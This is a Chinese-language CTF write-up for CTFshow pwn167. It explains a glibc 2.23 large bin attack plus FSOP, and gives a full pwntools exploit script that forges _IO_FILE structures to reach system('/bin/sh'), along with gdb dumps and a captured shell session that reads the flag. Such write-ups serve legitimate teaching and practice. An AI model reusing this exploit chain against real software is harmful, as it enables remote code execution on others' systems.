CTFshow-pwn167
[!NOTE]
了解一下large bin吧
- 远程环境:Ubuntu 16.04
libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11
先补充一下 Large Bin Attack 的知识,可以参考这篇博客:large bin attack - DAMOXILAI - 博客园
可以简记为当修改某一 chunk 如下时
size = 0x3f1
fd = 0
bk = target1 - 0x10
fd_nextsize = 0
bk_nextsize = target2 - 0x20
可以向指定地址写入一个 large chunk 的地址,即 *target = victim_chunk_addr;
拿这道题练下手,保护全开
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn167
[*] '/home/niuyingying/ctf/pwn/pwn167'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
看一下 ida 中的伪代码,分析程序流程
unsigned __int64 sub_B5A()
{
int *v0; // rax
char *v1; // rax
int *v2; // rax
char *v3; // rax
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
v0 = __errno_location();
v1 = strerror(*v0);
fprintf(stderr, "/dev/urandom: %s\n", v1);
exit(1);
}
read(fd, &addr, 8u);
close(fd);
addr = (void *)((unsigned int)addr & 0xFFFFF000);
if ( mmap(addr, 0x10000u, 3, 34, -1, 0) != addr )
{
v2 = __errno_location();
v3 = strerror(*v2);
fprintf(stderr, "mmap: %s\n", v3);
exit(1);
}
malloc(0);
return __readfsqword(0x28u) ^ v6;
}
unsigned __int64 Malloc()
{
__int64 size; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("size: ");
size = Read();
malloc(size);
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 Edit()
{
int i; // [rsp+0h] [rbp-20h]
int v2; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
unsigned __int64 v4; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
printf("offset: ");
v3 = Read();
printf("size: ");
v4 = Read();
if ( v3 <= 0xFFFF && v4 <= 0x10000 && v3 + v4 <= 0x10000 )
{
printf("content: ");
for ( i = 0; v4 > i; i += v2 )
{
v2 = read(0, (char *)addr + v3, v4 - i);
if ( v2 < 0 )
break;
}
}
else
{
puts("Invaild input");
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 Free()
{
unsigned __int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("offset: ");
v1 = Read();
if ( v1 <= 0xFFFF )
free((char *)addr + v1);
else
puts("Invaild input");
return __readfsqword(0x28u) ^ v2;
}
可以看到 edit/free 操作的都是可控 mmap 区,free(addr+offset) 允许我们在 mmap 区伪造 chunk 并交给 glibc 管理
利用路线是 largebin attack + FSOP:
- 在 mmap 区布置多个 fake chunk
- 释放大 chunk,送入 largebin
- 构造 overlap,改 largebin chunk 的
bk / bk_nextsize - 攻击
_IO_2_1_stdout_泄露 libc - 伪造
_IO_FILE,通过_IO_list_all+_IO_str_finish劫持到system("/bin/sh") Malloc(1)触发 glibc 报错刷新链,执行 shell
接下来再来讲一下 FSOP :FSOP - CTF Wiki
假设攻击者已经拥有:
- libc 地址泄露;
- 一块地址已知、内容可控的内存;
- 修改
_IO_list_all的任意地址写; - 可以触发正常
exit()。
那么可以在可控内存中放置:
fake_FILE:
...
+0x20 _IO_write_base = 0
+0x28 _IO_write_ptr = 1
+0x30 _IO_write_end = 0
+0x38 _IO_buf_base = binsh
...
+0xc0 _mode = 0
+0xd8 fake_vtable
...
+0xe8 _free_buffer = system (glibc 2.23 的 _IO_strfile)
最终调用 system("/bin/sh")
现在开始编写脚本
from pwn import *
import os
import sys
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn167')
libc = ELF('./libc-2.23.so')
# io = process('./pwn167')
io = remote("pwn.challenge.ctf.show",28230)
# io = gdb.debug('./pwn167', gdbscript='set pagination off\nbreakrva 0xFAE\nbreakrva 0xEDC\nbreakrva 0xF56\nc')
def Malloc(size):
io.recvuntil(b">> ")
io.sendline(b"1")
io.recvuntil(b"size: ")
io.sendline(str(size).encode())
def Edit(i,size,text):
io.recvuntil(b">> ")
io.sendline(b"2")
io.recvuntil(b"offset: ")
io.sendline(str(i).encode())
io.recvuntil(b"size: ")
io.sendline(str(size).encode())
io.recvuntil(b"content: ")
io.send(text)
def Free(i):
io.recvuntil(b">> ")
io.sendline(b"3")
io.recvuntil(b"offset: ")
io.sendline(str(i).encode())
# fake chunk
Edit(0,0x20,p64(0) + p64(0x421) + b"\x00" * 0x10)
Edit(0x420,0x20,p64(0) + p64(0x21) + b"\x00" * 0x10)
Edit(0x440,0x20,p64(0) + p64(0x21) + b"\x00" * 0x10)
Edit(0x880,0x20,p64(0) + p64(0x431) + b"\x00" * 0x10)
Edit(0xcb0,0x20,p64(0) + p64(0x21) + b"\x00" * 0x10)
Edit(0xcd0,0x20,p64(0) + p64(0x91) + b"\x00" * 0x10)
Edit(0xd60,0x20,p64(0) + p64(0x21) + b"\x00" * 0x10)
Edit(0xd80,0x20,p64(0) + p64(0x21) + b"\x00" * 0x10)
Free(0 + 0x10)
Malloc(0x430)
overlap = p64(0) + p64(0x91) + b"\x00" * 0x80
overlap += (p64(0) + p64(0x21) + b"\x00" * 0x10) * 3
Edit(0x10,0xf0,overlap)
Free(0x10 + 0x10)
Malloc(0x80)
Edit(0,0x10,p64(0) + p64(0xC1))
Free(0 + 0x10)
Malloc(0xb0)
# largebin 写 stdout
stdout_flags = libc.sym["_IO_2_1_stdout_"] - 0x10
stdout_write_base = libc.sym["_IO_2_1_stdout_"] - 0x20 + 0x20 - 0x7
Edit(0x10, 0xa, p64(0) + p16(stdout_flags & 0xffff))
Edit(0x20, 0xa, p64(0) + p16(stdout_write_base & 0xffff))
Edit(0,0x10,p64(0) + p64(0x421))
Free(0x880 + 0x10)
Free(0xcd0 + 0x10)
Malloc(0x80)
# largebins
# 0x400-0x430 [corrupted]
# FD: 0xedf88000 ◂— 0
# BK: 0xedf88000 —▸ 0xedf88880 —▸ 0x7ffff7bc5610 (_IO_2_1_stderr_+208) —▸ 0x7ffff7bc56a3 (_IO_2_1_stdout_+131) ◂— 0xbc47a00000000000
# pwndbg> x/40gx 0x7ffff7bc5620
# 0x7ffff7bc5620 <_IO_2_1_stdout_>: 0x00000000edf88880 0x00007ffff7bc56a3
# pwndbg> x/40gx 0x7ffff7bc5620 + 0x20
# 0x7ffff7bc5640 <_IO_2_1_stdout_+32>: 0x00007ffff7bc5600 0x00007ffff7bc56a3
# pwndbg> x/40gx 0x00007ffff7bc5600
# 0x7ffff7bc5600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
# 0x7ffff7bc5610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007ffff7bc36e0
data = io.recvrepeat(1)
log.info("stdout leak:\n" + hexdump(data))
leak = None
for i in range(len(data) - 7):
value = u64(data[i:i + 8])
if (value >> 40) == 0x7f and (value & 0xfff) == (0x3c36e0 & 0xfff):
leak = value
break
if leak is None:
log.warning("leak failed, retrying...")
io.close()
os.execv(sys.executable, [sys.executable] + sys.argv)
print(hex(leak))
# 0x7ffff7bc36e0 - 0x7ffff7800000
libc_base = leak - 0x3c36e0
print(hex(libc_base))
# gdb.attach(io, exe='./pwn167', gdbscript='set pagination off\nbreakrva 0xFAE\nbreakrva 0xEDC\nbreakrva 0xF56\nc')
# pause()
io_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))
_IO_str_jumps = libc_base + 0x3c37a0
io_str_finish = _IO_str_jumps + 0x10
# FSOP
# fake chunk
fake_file = p64(0) + p64(0x61) # prev_size = 0; size = 0x61
fake_file += p64(0) + p64(io_list_all - 0x10) # fd = 0; bk = _IO_list_all - 0x10
# fake _IO_FILE_plus
fake_file += p64(0) + p64(1) # fake_file + 0x20 = _IO_write_base = 0; fake_file + 0x28 = _IO_write_ptr = 1
fake_file += p64(0) + p64(binsh) # fake_file + 0x30 = _IO_write_end = 0; fake_file + 0x38 = _IO_buf_base = binsh
fake_file = fake_file.ljust(0xC0, b"\x00")
fake_file += p64(0) * 3 # fp->_mode <= 0
fake_file += p64(io_str_finish - 0x18) # fake_file + 0xD8 = vtable = io_str_finish - 0x18
fake_file += p64(0)
fake_file += p64(system) # fake_file + 0xE8 = _free_buffer = system
# Free(0xcd0 + 0x10)
io.sendline(b"3")
io.recvuntil(b"offset: ")
io.sendline(str(0xcd0 + 0x10).encode())
Edit(0xcd0,len(fake_file),fake_file)
Malloc(1)
io.interactive()
由于 mmap 地址随机,所以 _flags 的值在修改为 addr + 0x880 后不一定满足 0xfbad18** ,因此需要特别处理一下使 libc 地址可以稳定泄露
data = io.recvrepeat(1)
log.info("stdout leak:\n" + hexdump(data))
leak = None
for i in range(len(data) - 7):
value = u64(data[i:i + 8])
if (value >> 40) == 0x7f and (value & 0xfff) == (0x3c36e0 & 0xfff):
leak = value
break
if leak is None:
log.warning("leak failed, retrying...")
io.close()
os.execv(sys.executable, [sys.executable] + sys.argv)
print(hex(leak))
其中 recvrepeat(1) 会持续接收目标程序发送的数据,直到连续约 1 秒没有新数据为止
再来抠一下细节, stdout_write_base = libc.sym["_IO_2_1_stdout_"] - 0x20 + 0x20 - 0x7 这个 0x7 的用意:
由于 largebin attack 中 glibc 会写 target2 - 0x20 = victim_chunk_addr ,我们想修改的是 _IO_write_base 的最低字节即从 0x00007ffff7bc56a3 变成 0x00007ffff7bc5600 ,而 victim 是:
0x000000006dbfe880
它的小端字节是:
80 e8 bf 6d 00 00 00 00
注意最后一个字节是 00
所以我们希望这个最后的 00 落到 _IO_write_base 的最低字节,即
target2 = STDOUT - 0x7
最后再来说说 FSOP ,一句话串起来就是:
fake_file = p64(0) + p64(0x61)
伪造 chunk 头
fake_file += p64(0) + p64(io_list_all - 0x10)
利用 bin attack 把 _IO_list_all 改成 fake FILE 地址
fake_file += p64(0) + p64(1)
让 _IO_write_ptr > _IO_write_base,触发 _IO_OVERFLOW
fake_file += p64(0) + p64(binsh)
把 /bin/sh 放进之后会被当参数用的字段
fake_file = fake_file.ljust(0xC0, b"\x00")
中间 FILE 字段补零
fake_file += p64(0) * 3
保证 _mode <= 0 等检查通过
fake_file += p64(io_str_finish - 0x18)
伪造 vtable,使 _IO_OVERFLOW 的函数槽错位到 _IO_str_finish 路线
那么为什么减 0x18?因为 glibc 触发的是 _IO_OVERFLOW(fp, EOF) ,它会调用 vtable + 0x18 处的函数指针
我们令 vtable = io_str_finish - 0x18 ,则 vtable + 0x18 = io_str_finish
那么偏移值又是怎么取的呢?
而 _IO_jump_t 结构体如下:
struct _IO_jump_t
{
+0x00 dummy
+0x08 dummy2
+0x10 finish
+0x18 overflow
+0x20 underflow
+0x28 uflow
+0x30 pbackfail
+0x38 xsputn
+0x40 xsgetn
+0x48 seekoff
+0x50 seekpos
+0x58 setbuf
+0x60 sync
+0x68 doallocate
+0x70 read
+0x78 write
+0x80 seek
+0x88 close
+0x90 stat
+0x98 showmanyc
+0xa0 imbue
};
那么
niuyingying@niuyingying:~/ctf/pwn$ python3 - <<'PY'
from pwn import *
libc = ELF('./libc-2.23.so', checksec=False)
print(hex(libc.sym['_IO_str_overflow']))
print(hex(libc.sym['_IO_str_underflow']))
print(hex(libc.sym['_IO_str_pbackfail']))
print(hex(libc.sym['_IO_str_seekoff']))
PY
0x7cc80
0x7cc20
0x7cf80
0x7d0d0
pwndbg> info address _IO_str_overflow
Symbol "_IO_str_overflow" is at 0x7ffff787cc80 in a file compiled without debugging.
pwndbg> search -8 0x7ffff787cc80
Searching for an 8-byte integer: b'\x80\xcc\x87\xf7\xff\x7f\x00\x00'
libc-2.23.so 0x7ffff7bc33f8 0x7ffff787cc80 (_IO_str_overflow)
libc-2.23.so 0x7ffff7bc37b8 0x7ffff787cc80 (_IO_str_overflow)
pwndbg> x/40gx 0x7ffff7bc37b8 - 0x18
0x7ffff7bc37a0: 0x0000000000000000 0x0000000000000000
0x7ffff7bc37b0: 0x00007ffff787cfa0 0x00007ffff787cc80
0x7ffff7bc37c0: 0x00007ffff787cc20 0x00007ffff787b600
0x7ffff7bc37d0: 0x00007ffff787cf80 0x00007ffff787b630
0x7ffff7bc37e0: 0x00007ffff787b710 0x00007ffff787d0d0
此时 0x7ffff7bc37b8 - 0x18 - 0x7ffff7800000 = 0x3c37a0 ,所以
_IO_str_jumps = libc_base + 0x3c37a0
io_str_finish = _IO_str_jumps + 0x10
fake_file += p64(0)
fake_file += p64(system)
布置最终被调用的函数指针,让它调用 system("/bin/sh")
本地关上 ASLR 打通是这样的:
[*] Switching to interactive mode
[DEBUG] Received 0x4d bytes:
b"*** Error in `./pwn167': malloc(): memory corruption: 0x00007ffff7bc5520 ***\n"
*** Error in `./pwn167': malloc(): memory corruption: 0x00007ffff7bc5520 ***
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x96 bytes:
00000000 20 41 2d 43 09 09 09 09 09 20 20 20 20 65 78 70 │ A-C│····│· │ exp│
00000010 2e 70 79 09 20 20 20 20 20 20 20 6c 69 62 63 2d │.py·│ │ l│ibc-│
00000020 32 2e 32 33 2e 73 6f 0a 20 41 2d 43 2d 77 70 2e │2.23│.so·│ A-C│-wp.│
00000030 6d 64 09 09 09 09 20 20 20 20 66 6c 61 67 09 20 │md··│·· │ fl│ag· │
00000040 20 20 20 20 20 20 70 77 6e 31 36 37 0a 27 43 54 │ │ pw│n167│·'CT│
00000050 46 73 68 6f 77 2d 2d 2d 50 57 4e e5 85 a5 e9 97 │Fsho│w---│PWN·│····│
00000060 a8 31 34 35 2d 31 38 30 2d 2d 2d 57 72 69 74 65 │·145│-180│---W│rite│
00000070 20 55 50 2e 74 78 74 27 20 20 20 67 6c 69 62 63 │ UP.│txt'│ g│libc│
00000080 2d 61 6c 6c 2d 69 6e 2d 6f 6e 65 20 20 20 74 65 │-all│-in-│one │ te│
00000090 73 74 2e 70 79 0a │st.p│y·│
00000096
A-C exp.py libc-2.23.so
A-C-wp.md flag pwn167
'CTFshow---PWN入门145-180---Write UP.txt' glibc-all-in-one test.py
远程经过坚持不懈的人工爆破,最终得到 flag:
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2e bytes:
b'ctfshow{c512a8f4-445a-40e2-bfd2-700b96f4f04a}\n'
ctfshow{c512a8f4-445a-40e2-bfd2-700b96f4f04a}

浙公网安备 33010602011771号